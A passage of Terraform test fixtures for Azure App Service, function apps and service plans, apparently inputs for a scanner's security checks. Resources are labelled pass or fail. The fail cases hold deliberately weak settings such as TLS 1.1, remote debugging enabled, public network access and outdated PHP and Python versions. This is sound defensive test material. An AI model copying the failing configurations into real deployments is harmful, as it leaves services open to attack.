azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  logs {\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 10\n      }\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  logs {\n    application_logs {\n      azure_blob_storage {\n        level             = \"warning\"\n        sas_url           = \"www.example.com\"\n        retention_in_days = 4\n      }\n    }\n\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 10\n      }\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nvariable \"enable_http_logs\" {\n  type    = bool\n  default = true\n}\n\nvariable \"enable_http_logs_file_system\" {\n  type    = bool\n  default = true\n}\n\nvariable \"http_logs_azure_blob_storage\" {\n  type    = bool\n  default = true\n}\n\nresource \"azurerm_app_service\" \"pass3\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  logs {\n    application_logs {\n      azure_blob_storage {\n        level             = \"warning\"\n        sas_url           = \"www.example.com\"\n        retention_in_days = 4\n      }\n    }\n\n    dynamic \"http_logs\" {\n      for_each = var.enable_http_logs ? [1] : []\n\n      content {\n        dynamic \"file_system\" {\n          for_each = var.enable_http_logs_file_system ? [1] : []\n\n          content {\n            retention_in_days = 4\n            retention_in_mb   = 10\n          }\n        }\n\n        dynamic \"azure_blob_storage\" {\n          for_each = var.http_logs_azure_blob_storage != null ? [1] : []\n          content {\n            retention_in_days = 10\n            sas_url           = \"https://something.com\"\n          }\n        }\n      }\n    }\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  logs {\n    failed_request_tracing_enabled = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 10\n      }\n    }\n  }\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing_enabled = true\n    http_logs {\n      file_system {\n        retention_in_days = 4\n        retention_in_mb   = 10\n      }\n    }\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  client_certificate_enabled = true\n  logs {\n    failed_request_tracing_enabled = true\n  }\n  auth_settings {\n    enabled = true\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  logs {\n    failed_request_tracing_enabled = true\n  }\n  site_config {\n    ftps_state = \"FtpsOnly\"\n    cors {\n      allowed_origins = [\"192.0.0.1\"]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceHttps20Enabled/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceIdentity/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  client_cert_enabled = true\n  identity {\n    type         = \"UserAssigned\"\n    identity_ids = \"12345\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type         = \"UserAssigned\"\n    identity_ids = \"12345\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type         = \"UserAssigned\"\n    identity_ids = \"12345\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceIdentityProviderEnabled/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    dotnet_framework_version = \"v5.0\"\n    scm_type                 = \"someValue\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceInstanceMinimum/main.tf",
    "content": "resource \"azurerm_service_plan\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  os_type             = \"Linux\"\n  sku_name            = \"P1v2\"\n  worker_count = 2\n}\n\nresource \"azurerm_service_plan\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  os_type             = \"Linux\"\n  sku_name            = \"P1v2\"\n  worker_count = 1\n}\n\nresource \"azurerm_service_plan\" \"unknown\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  os_type             = \"Linux\"\n  sku_name            = \"P1v2\"\n  worker_count = var.count\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceJavaVersion/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    java_version = \"1.7.0_80\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    java_version = \"11\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"unknown\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type                 = \"someValue\"\n    }\n  }\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  site_config {\n    min_tls_version = \"1.1\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n\n  }\n  site_config {\n    minimum_tls_version = \"1.2\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass_tls13\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n\n  }\n  site_config {\n    minimum_tls_version = \"1.3\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled       = false\n    minimum_tls_version = \"1.1\"\n  }\n\n\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled       = true\n    minimum_tls_version = \"1.2\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass_tls13\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled       = true\n    minimum_tls_version = \"1.3\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    http2_enabled       = false\n    minimum_tls_version = \"1.1\"\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass_tfvar\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n  https_only          = true\n  site_config {\n    http2_enabled = true\n  }\n  identity {\n    type = \"SystemAssigned\"\n\n  }\n  site_config {\n    minimum_tls_version = var.min_tls_version\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass_tfvar2\" {\n  name                = \"${var.prefix}-example\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    application_stack {\n      python_version = \"3.9\"\n    }\n    minimum_tls_version = var.min_tls_version\n    http2_enabled       = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/terraform.tfvars",
    "content": "min_tls_version = \"1.2\""
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceMinTLSVersion/variables.tf",
    "content": "variable \"min_tls_version\" {\n  type        = string\n  description = \"Minimum TLS version supported\"\n  default     = \"1.1\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServicePHPVersion/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    php_version = \"5.6\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    php_version = \"7.4\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"unknown\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type                 = \"someValue\"\n    }\n  }\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServicePlanZoneRedundant/main.tf",
    "content": "resource \"azurerm_service_plan\" \"pass\" {\n  name                   = \"example\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  os_type                = \"Linux\"\n  sku_name               = \"P1v2\"\n  zone_balancing_enabled = true\n}\n\nresource \"azurerm_service_plan\" \"fail1\" {\n  name                   = \"example\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  os_type                = \"Linux\"\n  sku_name               = \"P1v2\"\n  zone_balancing_enabled = false\n}\n\n\nresource \"azurerm_service_plan\" \"fail2\" {\n  name                   = \"example\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  os_type                = \"Linux\"\n  sku_name              = \"P1v2\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServicePublicAccessDisabled/main.tf",
    "content": "# pass\n\nresource \"azurerm_linux_web_app\" \"disabled\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_windows_web_app\" \"disabled\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  public_network_access_enabled = false\n}\n\n# fail\n\nresource \"azurerm_linux_web_app\" \"default\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n}\n\nresource \"azurerm_windows_web_app\" \"default\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n}\n\nresource \"azurerm_linux_web_app\" \"enabled\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_windows_web_app\" \"enabled\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  public_network_access_enabled = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServicePythonVersion/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    python_version = \"2.7\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    python_version = \"3.4\"\n    scm_type                 = \"someValue\"\n    }\n  }\n\nresource \"azurerm_app_service\" \"unknown\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  site_config {\n    scm_type                 = \"someValue\"\n    }\n  }\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceRemoteDebuggingNotEnabled/main.tf",
    "content": "\nresource \"azurerm_app_service\" \"fail\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    remote_debugging_enabled = true\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n}\n\nresource \"azurerm_app_service\" \"pass2\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    remote_debugging_enabled = false\n  }\n\n  app_settings = {\n    \"SOME_KEY\" = \"some-value\"\n  }\n\n  connection_string {\n    name  = \"Database\"\n    type  = \"SQLServer\"\n    value = \"Server=some-server.mydomain.com;Integrated Security=SSPI\"\n  }\n\n}\n\n\nresource \"azurerm_linux_function_app\" \"fail\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_linux_function_app\" \"pass\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_linux_function_app\" \"pass2\" {\n  name                = \"example-linux-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n  }\n}\n\nresource \"azurerm_linux_web_app_slot\" \"fail\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_linux_web_app.example.id\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_linux_web_app_slot\" \"pass\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_linux_web_app.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_linux_web_app_slot\" \"pass2\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_linux_web_app.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_linux_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_linux_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n  }\n}\n\nresource \"azurerm_linux_function_app_slot\" \"fail\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_linux_function_app_slot\" \"pass\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n}\n\nresource \"azurerm_linux_function_app_slot\" \"pass2\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_windows_function_app\" \"fail\" {\n  name                = \"example-windows-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_windows_function_app\" \"pass\" {\n  name                = \"example-windows-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_windows_function_app\" \"pass2\" {\n  name                = \"example-windows-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_windows_function_app_slot\" \"fail\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_windows_function_app_slot\" \"pass\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n}\n\nresource \"azurerm_windows_function_app_slot\" \"pass2\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"fail\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_windows_web_app\" \"pass\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {}\n}\n\nresource \"azurerm_windows_web_app\" \"pass2\" {\n  name                = \"example\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_service_plan.example.location\n  service_plan_id     = azurerm_service_plan.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app_slot\" \"fail\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_windows_web_app.example.id\n\n  site_config {\n    remote_debugging_enabled = true\n  }\n}\n\nresource \"azurerm_windows_web_app_slot\" \"pass\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_windows_web_app.example.id\n\n  site_config {\n    remote_debugging_enabled = false\n  }\n}\n\nresource \"azurerm_windows_web_app_slot\" \"pass2\" {\n  name           = \"example-slot\"\n  app_service_id = azurerm_windows_web_app.example.id\n\n  site_config {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppServiceSetHealthCheck/main.tf",
